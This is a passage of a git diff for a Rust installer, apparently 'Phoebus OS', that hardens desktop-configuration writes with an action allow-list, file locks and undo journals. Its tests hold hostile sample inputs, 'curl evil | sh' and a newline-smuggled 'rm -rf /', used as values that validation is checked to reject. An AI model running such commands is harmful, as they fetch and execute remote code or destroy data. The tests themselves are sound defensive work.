None; + for file in prepared { + if let Err(e) = rustix::io::fcntl_setfd(file, rustix::io::FdFlags::CLOEXEC) { + restoration_error = Some(e); + } + } + if let Some(error) = restoration_error { + if let Ok(child) = &mut spawned { + if let Some(pid) = rustix::process::Pid::from_raw(child.id() as i32) { + let _ = rustix::process::kill_process_group(pid, rustix::process::Signal::KILL); + } + let _ = child.kill(); + let _ = child.wait(); + } + return Err(error.into()); + } + spawned +} +pub(crate) fn capture_unleased(command: &mut Command) -> std::io::Result { + command.stdout(Stdio::piped()).stderr(Stdio::piped()); + spawn_inheriting(command, &[])?.wait_with_output() +} + pub type StreamSink = Arc; pub trait ProcessRunner: Send + Sync { @@ -246,21 +311,17 @@ impl ProcessRunner for RealRunner { Stdio::null() }); - if let Some(lease) = &spec.mutation_lease { - rustix::io::fcntl_setfd(lease.as_ref(), rustix::io::FdFlags::empty()) - .map_err(|e| ExecError::operation(&spec.stage, &spec.operation, e.to_string()))?; - } - let spawned = command.spawn(); - if let Some(lease) = &spec.mutation_lease { - // Descriptor flags are per process: restoring CLOEXEC here does - // not close or change the copy inherited by the worker. - rustix::io::fcntl_setfd(lease.as_ref(), rustix::io::FdFlags::CLOEXEC) - .map_err(|e| ExecError::operation(&spec.stage, &spec.operation, e.to_string()))?; - } - let mut child = spawned.map_err(|source| ExecError::Spawn { - program: spec.program.clone(), - source, - })?; + let files: Vec<_> = spec + .mutation_lease + .iter() + .chain(spec.inherited_files.iter()) + .map(Arc::as_ref) + .collect(); + let mut child = + spawn_inheriting(&mut command, &files).map_err(|source| ExecError::Spawn { + program: spec.program.clone(), + source, + })?; // Drain output while writing stdin: a child may fill stdout before it // consumes its request. Nonblocking pipes also bound cleanup when a diff --git a/installer-rs/crates/phoebus-executor/src/desktop_config.rs b/installer-rs/crates/phoebus-executor/src/desktop_config.rs index 57903bf..bd6adb9 100644 --- a/installer-rs/crates/phoebus-executor/src/desktop_config.rs +++ b/installer-rs/crates/phoebus-executor/src/desktop_config.rs @@ -1,25 +1,29 @@ -//! Safe, typed desktop configuration and checkpoint engine for MangoWM + DankMaterialShell. -//! -//! Unlike Omarchy's unvetted Bash glue scripts which risk command injection and -//! desktop corruption, Phoebus OS uses schema-validated configuration mutations -//! paired with an automatic checkpoint/undo mechanism. -//! -//! When an AI agent (or user) modifies desktop settings (accent colors, themes, -//! or window manager keybindings): -//! 1. Inputs are validated against known schemas (e.g. valid hex colors, safe key combinations). -//! 2. An automatic checkpoint snapshot is recorded before applying changes. -//! 3. Changes are written atomically. -//! 4. If the desktop behavior breaks or is undesired, `undo()` restores the previous checkpoint. - -use std::fs; -use std::path::{Path, PathBuf}; - -use serde::{Deserialize, Serialize}; +//! User-owned Mango/DMS settings with descriptor I/O and durable undo journals. +//! Saves native configuration; the desktop may need reload/restart to consume it. use crate::error::{ExecError, Result}; +use phoebus_core::{CoreError, TargetRoot}; +use serde::{Deserialize, Serialize}; +use serde_json::{json, Value}; +use std::collections::BTreeMap; +use std::fs::File; +use std::os::fd::AsRawFd; +use std::path::{Path, PathBuf}; +use std::sync::atomic::{AtomicU64, Ordering}; + +const SETTINGS: &str = ".config/DankMaterialShell/settings.json"; +const SESSION: &str = ".local/state/DankMaterialShell/session.json"; +const MANGO: &str = ".config/mango/config.conf"; +const CHECKPOINTS: &str = ".local/state/phoebus/desktop-checkpoints"; +const MAX_FILE: usize = 1024 * 1024; +const MAX_CHECKPOINTS: usize = 64; + +fn error(message: impl Into) -> ExecError { + ExecError::operation("desktop", "configuration", message) +} -/// Theme options for DarkMaterialShell (DMS). #[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize, Default)] +#[serde(deny_unknown_fields)] pub struct DmsThemeConfig { #[serde(skip_serializing_if = "Option::is_none")] pub accent_color: Option, @@ -28,451 +32,467 @@ pub struct DmsThemeConfig { #[serde(skip_serializing_if = "Option::is_none")] pub wallpaper_path: Option, } - impl DmsThemeConfig { - /// Validates the theme values (e.g. hex colors, file paths). pub fn validate(&self) -> Result<()> { - if let Some(ref color) = self.accent_color { - if !is_valid_hex_color(color) { - return Err(ExecError::operation( - "desktop", - "theme_validate", - format!( - "invalid accent color '{color}': must be a 6-digit hex string (#RRGGBB)" - ), - )); - } + if self.accent_color.is_none() && self.dark_mode.is_none() && self.wallpaper_path.is_none() + { + return Err(error("select at least one theme setting")); } - if let Some(ref wp) = self.wallpaper_path { - if wp.contains('\0') || wp.contains('\n') { - return Err(ExecError::operation( - "desktop", - "theme_validate", - "wallpaper path contains control characters", + if self + .accent_color + .as_deref() + .is_some_and(|c| !is_valid_hex_color(c)) + { + return Err(error("accent color must be #RRGGBB")); + } + if let Some(wp) = &self.wallpaper_path { + if !Path::new(wp).is_absolute() + || wp.len() > 4096 + || wp.chars().any(char::is_control) + || Path::new(wp) + .components() + .any(|c| matches!(c, std::path::Component::ParentDir)) + { + return Err(error( + "wallpaper must be an absolute path without traversal or controls", )); } } Ok(()) } } - -/// A validated keybinding for MangoWM. #[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] pub struct MangoKeybinding { pub combo: String, pub action: String, } - impl MangoKeybinding { pub fn validate(&self) -> Result<()> { - let trimmed_combo = self.combo.trim(); - if trimmed_combo.is_empty() { - return Err(ExecError::operation( - "desktop", - "keybinding_validate", - "key combo cannot be empty", - )); - } - if trimmed_combo.contains('\0') - || trimmed_combo.contains('\n') - || trimmed_combo.contains('\r') + self.native().map(|_| ()) + } + fn native(&self) -> Result<(String, String, String)> { + let parts: Vec<_> = self.combo.split('+').collect(); + let (key, mods) = parts + .split_last() + .ok_or_else(|| error("empty key combination"))?; + if key.is_empty() + || key.len() > 64 + || !key.bytes().all(|c| c.is_ascii_alphanumeric() || c == b'_') { - return Err(ExecError::operation( - "desktop", - "keybinding_validate", - "key combo contains control characters", - )); + return Err(error("invalid Mango key name")); } - - let trimmed_action = self.action.trim(); - if trimmed_action.is_empty() { - return Err(ExecError::operation( - "desktop", - "keybinding_validate", - "action cannot be empty", - )); + let mut normalized = Vec::new(); + for m in mods { + let m = match m.to_ascii_lowercase().as_str() { + "super" | "mod4" => "SUPER", + "ctrl" | "control" => "CTRL", + "alt" | "mod1" => "ALT", + "shift" => "SHIFT", + _ => return Err(error("unknown key modifier")), + }; + if normalized.contains(&m) { + return Err(error("duplicate key modifier")); + } + normalized.push(m); } - if trimmed_action.contains('\0') - || trimmed_action.contains('\n') - || trimmed_action.contains('\r') - { - return Err(ExecError::operation( - "desktop", - "keybinding_validate", - "action contains control characters", - )); - } - Ok(()) + normalized.sort(); + let modifiers = if normalized.is_empty() { + "NONE".into() + } else { + normalized.join("+") + }; + // Agent tools cannot turn a keybinding into an arbitrary shell command. + let action = match self.action.as_str() { + "spawn kitty" => "spawn,kitty", + "spawn firefox" => "spawn,firefox", + "spawn phoebus-assistant" => "spawn,phoebus-assistant", + "spawn dms ipc call spotlight toggle" => "spawn,dms ipc call spotlight toggle", + "reload_config" => "reload_config", + "killclient" => "killclient", + "togglefloating" => "togglefloating", + "togglefullscreen" => "togglefullscreen", + "toggleoverview" => "toggleoverview", + "zoom" => "zoom", + _ => return Err(error("action is not a supported desktop command")), + }; + Ok((modifiers, key.to_string(), action.to_string())) } } - -/// Validates whether a string is a `#RRGGBB` hex color. pub fn is_valid_hex_color(s: &str) -> bool { - if !s.starts_with('#') { - return false; - } - let hex_part = &s[1..]; - if hex_part.len() != 6 { - return false; - } - hex_part.chars().all(|c| c.is_ascii_hexdigit()) + s.len() == 7 && s.starts_with('#') && s[1..].bytes().all(|c| c.is_ascii_hexdigit()) } - -/// Directory where desktop auto-checkpoints are saved for undo. pub fn checkpoint_dir_for_home(home: &Path) -> PathBuf { - home.join(".local/state/phoebus/desktop-checkpoints") + home.join(CHECKPOINTS) } - -/// Directory where DMS settings live. pub fn dms_config_dir_for_home(home: &Path) -> PathBuf { - home.join(".config/dms") + home.join(".config/DankMaterialShell") } - -/// File where MangoWM config lives. pub fn mango_config_file_for_home(home: &Path) -> PathBuf { - home.join(".config/mango/config.toml") + home.join(MANGO) } -/// Records a snapshot checkpoint of the current desktop configuration before a mutation. -pub fn create_checkpoint(home: &Path, label: &str) -> Result { - let cp_base = checkpoint_dir_for_home(home); - fs::create_dir_all(&cp_base).map_err(|e| ExecError::Io { - path: cp_base.clone(), - source: e, - })?; - - let timestamp = std::time::SystemTime::now() - .duration_since(std::time::UNIX_EPOCH) - .unwrap_or_default() - .as_micros(); - - let safe_label: String = label - .chars() - .map(|c| if c.is_ascii_alphanumeric() { c } else { '_' }) - .collect(); - - let mut snapshot_dir = cp_base.join(format!("{timestamp}_{safe_label}")); - let mut seq = 1; - while snapshot_dir.exists() { - snapshot_dir = cp_base.join(format!("{timestamp}_{safe_label}_{seq}")); - seq += 1; +fn read_optional(root: &TargetRoot, path: &str) -> Result> { + match root.read_to_string_bounded(path, MAX_FILE) { + Ok(s) => Ok(Some(s)), + Err(CoreError::Io { source, .. }) if source.kind() == std::io::ErrorKind::NotFound => { + Ok(None) + } + Err(e) => Err(e.into()), } - fs::create_dir_all(&snapshot_dir).map_err(|e| ExecError::Io { - path: snapshot_dir.clone(), - source: e, - })?; - - // Copy DMS config if present - let dms_dir = dms_config_dir_for_home(home); - let dms_theme_file = dms_dir.join("theme.json"); - let dms_existed = dms_theme_file.exists(); - if dms_existed { - let dest = snapshot_dir.join("dms_theme.json"); - fs::copy(&dms_theme_file, &dest).map_err(|e| ExecError::Io { - path: dest, - source: e, - })?; - } - - // Copy Mango config if present - let mango_file = mango_config_file_for_home(home); - let mango_existed = mango_file.exists(); - if mango_existed { - let dest = snapshot_dir.join("mango_config.toml"); - fs::copy(&mango_file, &dest).map_err(|e| ExecError::Io { - path: dest, - source: e, - })?; - } - - // Write metadata - let meta = format!( - "timestamp={timestamp}\nlabel={label}\ndms_existed={dms_existed}\nmango_existed={mango_existed}\n" - ); - let meta_file = snapshot_dir.join("metadata.ini"); - fs::write(&meta_file, meta).map_err(|e| ExecError::Io { - path: meta_file, - source: e, - })?; - - Ok(snapshot_dir) } - -/// Applies a theme configuration to DMS with schema validation and auto-checkpoint. -pub fn apply_dms_theme(home: &Path, theme: &DmsThemeConfig) -> Result<()> { - theme.validate()?; - - // Create a safety checkpoint before writing - create_checkpoint(home, "pre_theme_change")?; - - let dms_dir = dms_config_dir_for_home(home); - fs::create_dir_all(&dms_dir).map_err(|e| ExecError::Io { - path: dms_dir.clone(), - source: e, - })?; - - let theme_file = dms_dir.join("theme.json"); - let json_bytes = serde_json::to_vec_pretty(theme) - .map_err(|e| ExecError::operation("desktop", "dms_theme_serialize", e.to_string()))?; - - // Atomic write - let tmp_file = dms_dir.join("theme.json.tmp"); - fs::write(&tmp_file, json_bytes).map_err(|e| ExecError::Io { - path: tmp_file.clone(), - source: e, - })?; - fs::rename(&tmp_file, &theme_file).map_err(|e| ExecError::Io { - path: theme_file, - source: e, - })?; - +fn read_object(root: &TargetRoot, path: &str) -> Result { + let Some(text) = read_optional(root, path)? else { + return Ok(json!({})); + }; + let value: Value = serde_json::from_str(&text) + .map_err(|_| error("existing desktop JSON is invalid; refusing to replace it"))?; + if !value.is_object() { + return Err(error("desktop settings must be a JSON object")); + } + Ok(value) +} +/// Return only supported theme fields; unrelated settings never enter agent context. +pub fn get_dms_theme(home: &Path) -> Result { + let root = TargetRoot::new(home); + let settings = read_object(&root, SETTINGS)?; + let session = read_object(&root, SESSION)?; + Ok(DmsThemeConfig { + accent_color: settings["matugenSeedColor"].as_str().map(str::to_owned), + dark_mode: session["isLightMode"].as_bool().map(|v| !v), + wallpaper_path: session["wallpaperPath"].as_str().map(str::to_owned), + }) +} +fn lock(root: &TargetRoot) -> Result { + root.ensure_dir_mode(".local/state/phoebus", 0o700)?; + let file = root.open_lock_file(".local/state/phoebus/desktop.lock")?; + rustix::fs::flock(&file, rustix::fs::FlockOperation::LockExclusive) + .map_err(|e| error(e.to_string()))?; + Ok(file) +} +#[derive(Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +struct Change { + before: Option, + after: Option, +} +#[derive(Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +struct Checkpoint { + version: u32, + changes: BTreeMap, +} +fn checkpoint_names(root: &TargetRoot) -> Result> { + let fd = root.open_directory(CHECKPOINTS)?; + let entries = std::fs::read_dir(format!("/proc/self/fd/{}", fd.as_raw_fd())) + .map_err(|e| error(e.to_string()))?; + let mut names = Vec::new(); + for entry in entries { + let entry = entry.map_err(|e| error(e.to_string()))?; + let name = entry.file_name().to_string_lossy().into_owned(); + if name.starts_with("cp-") + && name.ends_with(".json") + && name[3..name.len() - 5] + .bytes() + .all(|c| c.is_ascii_digit() || c == b'-') + { + names.push(name); + } + if names.len() > MAX_CHECKPOINTS + 1 { + return Err(error("too many desktop checkpoints")); + } + } + names.sort(); + Ok(names) +} +fn publish(root: &TargetRoot, path: &str, content: &Option) -> Result<()> { + if let Some(content) = content { + if let Some(parent) = Path::new(path).parent() { + root.ensure_dir_mode(&parent.to_string_lossy(), 0o700)?; + } + root.write_private(path, content)?; + } else if read_optional(root, path)?.is_some() { + root.remove_file(path)?; + } Ok(()) } - -/// Adds or updates a MangoWM keybinding with schema validation and auto-checkpoint. -pub fn add_mango_keybinding(home: &Path, keybinding: &MangoKeybinding) -> Result<()> { - keybinding.validate()?; - - create_checkpoint(home, "pre_keybinding_change")?; - - let mango_file = mango_config_file_for_home(home); - if let Some(parent) = mango_file.parent() { - fs::create_dir_all(parent).map_err(|e| ExecError::Io { - path: parent.to_path_buf(), - source: e, - })?; +fn commit(root: &TargetRoot, updates: BTreeMap>) -> Result<()> { + let mut changes = BTreeMap::new(); + for (path, after) in updates { + let before = read_optional(root, &path)?; + if after.as_ref().is_some_and(|s| s.len() > MAX_FILE) { + return Err(error("desktop configuration exceeds size limit")); + } + if before != after { + changes.insert(path, Change { before, after }); + } } - - let mut current_content = if mango_file.exists() { - fs::read_to_string(&mango_file).map_err(|e| ExecError::Io { - path: mango_file.clone(), - source: e, - })? - } else { - String::new() - }; - - #[derive(Serialize)] - struct TomlEntry<'a> { - combo: &'a str, - action: &'a str, + if changes.is_empty() { + return Ok(()); } - let entry = TomlEntry { - combo: &keybinding.combo, - action: &keybinding.action, - }; - let toml_snippet = toml::to_string(&entry) - .map_err(|e| ExecError::operation("desktop", "keybinding_serialize", e.to_string()))?; - let bind_entry = format!( - "\n# Keybinding added by agent\n[[keybinding]]\n{}", - toml_snippet.trim_start() - ); - current_content.push_str(&bind_entry); - if !current_content.ends_with('\n') { - current_content.push('\n'); - } - - let tmp_file = mango_file.with_extension("toml.tmp"); - fs::write(&tmp_file, current_content).map_err(|e| ExecError::Io { - path: tmp_file.clone(), - source: e, - })?; - fs::rename(&tmp_file, &mango_file).map_err(|e| ExecError::Io { - path: mango_file, - source: e, - })?; - - Ok(()) -} - -/// Reverts the latest desktop configuration change using the latest recorded checkpoint. -pub fn undo_latest_checkpoint(home: &Path) -> Result { - let cp_base = checkpoint_dir_for_home(home); - if !cp_base.exists() { - return Err(ExecError::operation( - "desktop", - "undo", - "no desktop checkpoints found to undo", + root.ensure_dir_mode(CHECKPOINTS, 0o700)?; + let previous = checkpoint_names(root)?; + if previous.len() > MAX_CHECKPOINTS { + return Err(error( + "undo the pending desktop checkpoint before making another change", )); } - - let mut entries = Vec::new(); - let read_dir = fs::read_dir(&cp_base).map_err(|e| ExecError::Io { - path: cp_base.clone(), - source: e, - })?; - - for entry in read_dir { - let entry = entry.map_err(|e| ExecError::Io { - path: cp_base.clone(), - source: e, - })?; - if entry.file_type().map(|t| t.is_dir()).unwrap_or(false) { - entries.push(entry.path()); - } - } - - entries.sort(); - let latest = match entries.pop() { - Some(p) => p, - None => { - return Err(ExecError::operation( - "desktop", - "undo", - "no desktop checkpoints available to undo", - )) - } + static SEQ: AtomicU64 = AtomicU64::new(0); + let now = std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .map_err(|_| error("invalid system clock"))? + .as_nanos(); + let name = format!( + "cp-{now:020}-{}-{}.json", + std::process::id(), + SEQ.fetch_add(1, Ordering::Relaxed) + ); + let checkpoint = Checkpoint { + version: 1, + changes, }; - - let meta_file = latest.join("metadata.ini"); - let meta_text = fs::read_to_string(&meta_file).unwrap_or_default(); - let dms_existed = meta_text.contains("dms_existed=true") - || (!meta_text.contains("dms_existed=false") && latest.join("dms_theme.json").exists()); - let mango_existed = meta_text.contains("mango_existed=true") - || (!meta_text.contains("mango_existed=false") - && latest.join("mango_config.toml").exists()); - - let dms_target = dms_config_dir_for_home(home).join("theme.json"); - if dms_existed { - let dms_backup = latest.join("dms_theme.json"); - if dms_backup.exists() { - fs::copy(&dms_backup, &dms_target).map_err(|e| ExecError::Io { - path: dms_target, - source: e, - })?; - } - } else if dms_target.exists() { - let _ = fs::remove_file(&dms_target); + let bytes = serde_json::to_vec(&checkpoint).map_err(|e| error(e.to_string()))?; + // Durable preimages precede every mutation. A crash leaves a recoverable checkpoint. + root.write_private(&format!("{CHECKPOINTS}/{name}"), bytes)?; + for (path, change) in &checkpoint.changes { + publish(root, path, &change.after)?; } - - let mango_target = mango_config_file_for_home(home); - if mango_existed { - let mango_backup = latest.join("mango_config.toml"); - if mango_backup.exists() { - fs::copy(&mango_backup, &mango_target).map_err(|e| ExecError::Io { - path: mango_target, - source: e, - })?; + if previous.len() >= MAX_CHECKPOINTS { + for old in previous.iter().take(previous.len() + 1 - MAX_CHECKPOINTS) { + root.remove_file(&format!("{CHECKPOINTS}/{old}"))?; } - } else if mango_target.exists() { - let _ = fs::remove_file(&mango_target); } - - let dir_name = latest - .file_name() - .unwrap_or_default() - .to_string_lossy() - .to_string(); - - // Clean up the restored checkpoint - let _ = fs::remove_dir_all(&latest); - - Ok(dir_name) + Ok(()) +} +pub fn apply_dms_theme(home: &Path, theme: &DmsThemeConfig) -> Result<()> { + theme.validate()?; + let root = TargetRoot::new(home); + let _lock = lock(&root)?; + let mut updates = BTreeMap::new(); + if let Some(color) = &theme.accent_color { + let mut settings = read_object(&root, SETTINGS)?; + settings["currentThemeName"] = json!("dynamic"); + settings["currentThemeCategory"] = json!("dynamic"); + settings["matugenSeedColor"] = json!(color); + updates.insert( + SETTINGS.into(), + Some(serde_json::to_string_pretty(&settings).map_err(|e| error(e.to_string()))?), + ); + } + if theme.dark_mode.is_some() || theme.wallpaper_path.is_some() { + let mut session = read_object(&root, SESSION)?; + if let Some(dark) = theme.dark_mode { + session["isLightMode"] = json!(!dark); + } + if let Some(wp) = &theme.wallpaper_path { + session["wallpaperPath"] = json!(wp); + } + updates.insert( + SESSION.into(), + Some(serde_json::to_string_pretty(&session).map_err(|e| error(e.to_string()))?), + ); + } + commit(&root, updates) +} +pub fn add_mango_keybinding(home: &Path, kb: &MangoKeybinding) -> Result<()> { + let (mods, key, action) = kb.native()?; + let root = TargetRoot::new(home); + let _lock = lock(&root)?; + let current = read_optional(&root, MANGO)? + .unwrap_or_else(|| phoebus_core::system::MANGO_CONFIG_DEFAULT.into()); + let mut lines = Vec::new(); + for line in current.lines() { + let value = line + .trim() + .strip_prefix("bind=") + .or_else(|| line.trim().strip_prefix("bind =")); + let matches = value + .and_then(|v| { + let mut parts = v.split(','); + Some((parts.next()?.trim(), parts.next()?.trim())) + }) + .is_some_and(|(m, k)| { + let mut existing: Vec<_> = m.split('+').map(|s| s.to_ascii_uppercase()).collect(); + existing.sort(); + existing.join("+") == mods && k == key + }); + if !matches { + lines.push(line.to_string()); + } + } + lines.push(format!("bind={mods},{key},{action}")); + commit( + &root, + BTreeMap::from([(MANGO.into(), Some(lines.join("\n") + "\n"))]), + ) +} +pub fn undo_latest_checkpoint(home: &Path) -> Result { + let root = TargetRoot::new(home); + let _lock = lock(&root)?; + root.ensure_dir_mode(CHECKPOINTS, 0o700)?; + let latest = checkpoint_names(&root)? + .pop() + .ok_or_else(|| error("no desktop checkpoint to undo"))?; + let path = format!("{CHECKPOINTS}/{latest}"); + let checkpoint: Checkpoint = + serde_json::from_str(&root.read_to_string_bounded(&path, 8 * MAX_FILE)?) + .map_err(|_| error("invalid desktop checkpoint"))?; + if checkpoint.version != 1 + || checkpoint.changes.is_empty() + || checkpoint.changes.len() > 3 + || checkpoint + .changes + .keys() + .any(|p| ![SETTINGS, SESSION, MANGO].contains(&p.as_str())) + { + return Err(error("unsupported desktop checkpoint")); + } + // Validate every preimage and target before restoring anything. Preserve edits + // made outside this transaction and leave the checkpoint available on failure. + for (path, change) in &checkpoint.changes { + if change.before.as_ref().is_some_and(|s| s.len() > MAX_FILE) + || change.after.as_ref().is_some_and(|s| s.len() > MAX_FILE) + { + return Err(error("oversized desktop checkpoint")); + } + let current = read_optional(&root, path)?; + if current != change.before && current != change.after { + return Err(error( + "desktop changed since this checkpoint; refusing to overwrite newer edits", + )); + } + } + for (path, change) in &checkpoint.changes { + publish(&root, path, &change.before)?; + } + root.remove_file(&path)?; + Ok(latest) } #[cfg(test)] mod tests { use super::*; - #[test] - fn hex_color_validation() { - assert!(is_valid_hex_color("#1a1b26")); - assert!(is_valid_hex_color("#FFFFFF")); - assert!(is_valid_hex_color("#000000")); - assert!(!is_valid_hex_color("1a1b26")); // missing # - assert!(!is_valid_hex_color("#1a1b2")); // too short - assert!(!is_valid_hex_color("#1a1b2677")); // too long - assert!(!is_valid_hex_color("#gggggg")); // invalid hex + fn native_patch_preserves_settings_and_undo_restores_exact_bytes() { + let t = tempfile::tempdir().unwrap(); + let root = TargetRoot::new(t.path()); + let original = "{ \"unrelated\": 42, \"currentThemeName\": \"blue\" }"; + root.write_private(SETTINGS, original).unwrap(); + apply_dms_theme( + t.path(), + &DmsThemeConfig { + accent_color: Some("#112233".into()), + dark_mode: Some(true), + wallpaper_path: None, + }, + ) + .unwrap(); + assert_eq!(read_object(&root, SETTINGS).unwrap()["unrelated"], 42); + assert_eq!(get_dms_theme(t.path()).unwrap().dark_mode, Some(true)); + undo_latest_checkpoint(t.path()).unwrap(); + assert_eq!(root.read_to_string(SETTINGS).unwrap(), original); + assert!(read_optional(&root, SESSION).unwrap().is_none()); } - #[test] - fn dms_theme_validation_rejects_bad_colors() { - let theme = DmsThemeConfig { - accent_color: Some("bad-color".into()), - dark_mode: Some(true), - wallpaper_path: None, - }; - assert!(theme.validate().is_err()); + fn undo_refuses_external_edit_and_keeps_checkpoint() { + let t = tempfile::tempdir().unwrap(); + let root = TargetRoot::new(t.path()); + apply_dms_theme( + t.path(), + &DmsThemeConfig { + accent_color: Some("#112233".into()), + ..Default::default() + }, + ) + .unwrap(); + root.write_private(SETTINGS, "{\"external\":true}").unwrap(); + assert!(undo_latest_checkpoint(t.path()).is_err()); + assert_eq!(checkpoint_names(&root).unwrap().len(), 1); } - #[test] - fn mango_keybinding_rejects_empty_and_control_chars() { - let empty_combo = MangoKeybinding { - combo: "".into(), - action: "spawn kitty".into(), - }; - assert!(empty_combo.validate().is_err()); - - let newline_action = MangoKeybinding { - combo: "Mod4+Return".into(), - action: "spawn kitty\nrm -rf /".into(), - }; - assert!(newline_action.validate().is_err()); + fn symlinked_settings_are_never_read_or_overwritten() { + let t = tempfile::tempdir().unwrap(); + let outside = tempfile::NamedTempFile::new().unwrap(); + let root = TargetRoot::new(t.path()); + root.ensure_dir(".config/DankMaterialShell").unwrap(); + std::os::unix::fs::symlink(outside.path(), t.path().join(SETTINGS)).unwrap(); + assert!(get_dms_theme(t.path()).is_err()); + assert!(apply_dms_theme( + t.path(), + &DmsThemeConfig { + accent_color: Some("#112233".into()), + ..Default::default() + } + ) + .is_err()); + assert_eq!(std::fs::read(outside.path()).unwrap(), b""); } - #[test] - fn apply_theme_creates_checkpoint_and_undo_restores() { - let temp_dir = tempfile::tempdir().unwrap(); - let home = temp_dir.path(); - - // 1. Initial theme - let theme1 = DmsThemeConfig { - accent_color: Some("#112233".into()), - dark_mode: Some(true), - wallpaper_path: None, - }; - apply_dms_theme(home, &theme1).unwrap(); - - let theme_file = dms_config_dir_for_home(home).join("theme.json"); - let content1 = fs::read_to_string(&theme_file).unwrap(); - assert!(content1.contains("#112233")); - - // 2. Mutated theme by agent - let theme2 = DmsThemeConfig { - accent_color: Some("#445566".into()), - dark_mode: Some(false), - wallpaper_path: None, - }; - apply_dms_theme(home, &theme2).unwrap(); - let content2 = fs::read_to_string(&theme_file).unwrap(); - assert!(content2.contains("#445566")); - - // 3. Undo restores previous theme - let restored = undo_latest_checkpoint(home).unwrap(); - assert!(!restored.is_empty()); - let content_restored = fs::read_to_string(&theme_file).unwrap(); - assert!(content_restored.contains("#112233")); - - // 4. Undo the very first change restores to absent state - let restored_initial = undo_latest_checkpoint(home).unwrap(); - assert!(!restored_initial.is_empty()); - assert!(!theme_file.exists()); - } - - #[test] - fn mango_keybinding_escapes_quotes_and_generates_valid_toml() { - let temp_dir = tempfile::tempdir().unwrap(); - let home = temp_dir.path(); - + fn keybinding_uses_native_syntax_and_updates_instead_of_duplicating() { + let t = tempfile::tempdir().unwrap(); let kb = MangoKeybinding { combo: "Mod4+Shift+k".into(), - action: "spawn \"kitty --hold -e btop\"".into(), + action: "spawn kitty".into(), }; - add_mango_keybinding(home, &kb).unwrap(); - - let mango_file = mango_config_file_for_home(home); - assert!(mango_file.exists()); - let text = fs::read_to_string(&mango_file).unwrap(); - assert!(text.contains("combo = \"Mod4+Shift+k\"")); - assert!(text.contains("action = ")); - - // Validate that toml parser can parse the generated file - let parsed: toml::Value = toml::from_str(&text).expect("generated toml must parse"); - let kbs = parsed.get("keybinding").unwrap().as_array().unwrap(); - assert_eq!(kbs.len(), 1); - assert_eq!( - kbs[0].get("action").unwrap().as_str().unwrap(), - "spawn \"kitty --hold -e btop\"" + add_mango_keybinding(t.path(), &kb).unwrap(); + add_mango_keybinding(t.path(), &kb).unwrap(); + let text = std::fs::read_to_string(mango_config_file_for_home(t.path())).unwrap(); + assert!(text.contains("bind=SHIFT+SUPER,k,spawn,kitty")); + assert_eq!(text.matches("bind=SHIFT+SUPER,k,").count(), 1); + assert!(text.contains("tagrule=id:1")); + assert!(!text.contains("[[keybinding]]")); + } + #[test] + fn a_full_interrupted_journal_remains_undoable_without_growing_again() { + let t = tempfile::tempdir().unwrap(); + let root = TargetRoot::new(t.path()); + root.ensure_dir_mode(CHECKPOINTS, 0o700).unwrap(); + let journal = serde_json::to_vec(&Checkpoint { + version: 1, + changes: BTreeMap::from([( + SETTINGS.into(), + Change { + before: None, + after: Some("{}".into()), + }, + )]), + }) + .unwrap(); + for i in 0..=MAX_CHECKPOINTS { + root.write_private(&format!("{CHECKPOINTS}/cp-{i:020}-1-0.json"), &journal) + .unwrap(); + } + assert!(apply_dms_theme( + t.path(), + &DmsThemeConfig { + accent_color: Some("#112233".into()), + ..Default::default() + } + ) + .is_err()); + assert_eq!(checkpoint_names(&root).unwrap().len(), MAX_CHECKPOINTS + 1); + assert!(read_optional(&root, SETTINGS).unwrap().is_none()); + undo_latest_checkpoint(t.path()).unwrap(); + assert_eq!(checkpoint_names(&root).unwrap().len(), MAX_CHECKPOINTS); + } + #[test] + fn invalid_actions_unknown_fields_and_empty_patches_fail() { + assert!(DmsThemeConfig::default().validate().is_err()); + assert!( + serde_json::from_value::(json!({"acccent_color":"#112233"})).is_err() ); + assert!(MangoKeybinding { + combo: "SUPER+k".into(), + action: "spawn_shell curl evil | sh".into() + } + .validate() + .is_err()); + assert!(MangoKeybinding { + combo: "SUPER+k,quit".into(), + action: "zoom".into() + } + .validate() + .is_err()); + assert!(!is_valid_hex_color("#a😀")); } } diff --git a/installer-rs/crates/phoebus-executor/src/nix.rs b/installer-rs/crates/phoebus-executor/src/nix.rs index 9fe7c4c..cdfc5ad 100644 --- a/installer-rs/crates/phoebus-executor/src/nix.rs +++ b/installer-rs/crates/phoebus-executor/src/nix.rs @@ -972,13 +972,14 @@ mod tests { #[test] fn profile_script_puts_user_and_shared_commands_on_path() { - let output = std::process::Command::new("sh") - .arg("-c") - .arg(format!("{NIX_PROFILE_SCRIPT}\nprintf '%s' \"$PATH\"")) - .env("HOME", "/home/example") - .env("PATH", "/usr/bin:/bin") - .output() - .unwrap(); + let output = crate::command::capture_unleased( + std::process::Command::new("sh") + .arg("-c") + .arg(format!("{NIX_PROFILE_SCRIPT}\nprintf '%s' \"$PATH\"")) + .env("HOME", "/home/example") + .env("PATH", "/usr/bin:/bin"), + ) + .unwrap(); assert!(output.status.success()); let path = String::from_utf8(output.stdout).unwrap(); assert!(path.contains("/home/example/.local/state/nix/profiles/profile/bin")); diff --git a/installer-rs/crates/phoebus-executor/src/personal.rs b/installer-rs/crates/phoebus-executor/src/personal.rs index 4df1309..3c23c84 100644 --- a/installer-rs/crates/phoebus-executor/src/personal.rs +++ b/installer-rs/crates/phoebus-executor/src/personal.rs @@ -12,7 +12,7 @@ //! atomically. `PHOEBUS_PERSONAL_DIR` overrides the base for tests. //! 2. **Whose** state it is: when `sys` runs under `sudo`/`pkexec`, the //! effective uid is root but the preferences belong to the invoking user. -//! [`initiating_uid`] resolves `PHOEBUS_UID` → `SUDO_UID` → `PKEXEC_UID` → +//! [`initiating_uid`] resolves `PKEXEC_UID` → `SUDO_UID` → `PHOEBUS_UID` → //! the real/effective uid, and [`UserStorage::for_uid`] resolves that user's //! home from `/etc/passwd` rather than trusting `$HOME` (which `sudo` sets to //! root's). @@ -24,7 +24,6 @@ //! symlinks, and must stay within the resolved home, so a planted symlink //! cannot redirect the write. -use std::io::Write; use std::path::{Component, Path, PathBuf}; use crate::error::{ExecError, Result}; @@ -32,14 +31,19 @@ use crate::error::{ExecError, Result}; /// The uid that initiated the command, honouring the elevation wrappers so the /// CLI and GUI resolve the same user's storage. pub fn initiating_uid() -> u32 { - for var in 